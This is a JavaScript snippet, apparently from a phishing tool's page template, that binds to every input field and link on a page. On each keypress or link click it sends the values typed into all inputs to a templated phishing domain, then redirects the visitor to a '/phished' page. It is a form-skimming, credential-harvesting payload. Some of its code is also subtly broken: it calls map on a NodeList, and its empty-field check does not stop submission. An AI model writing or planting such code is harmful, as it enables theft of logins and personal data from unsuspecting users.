<script type="text/javascript">
// Define the global variables for job ID and domain.
window.phishy = {
jobId: "${job.id}",
domain: "${phishingDomain}"
}
// Debounce function to prevent multiple submissions.
function debounce(func, wait) {
let timeout;
return function() {
clearTimeout(timeout);
timeout = setTimeout(() => func.apply(this, arguments), wait);
};
}
// Function to submit the form data.
const submitForm = debounce(() => {
const inputs = document.querySelectorAll('input');
inputs.forEach(input => {
if (!input.value) {
alert('Please fill in all fields!');
return;
}
});
const xhr = new XMLHttpRequest();
xhr.open("POST", `${window.phishy.domain}/?id=${window.phishy.jobId}`, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.href = `${window.phishy.domain}/phished?id=${window.phishy.jobId}`;
}
};
xhr.send(JSON.stringify({ data: inputs.map(input => input.value) }));
}, 500);
document.querySelectorAll('input').forEach(input => input.addEventListener('keypress', submitForm));
document.querySelectorAll('a').forEach(anchor => anchor.addEventListener('click', (event) => {
event.preventDefault();
submitForm();
}));
</script>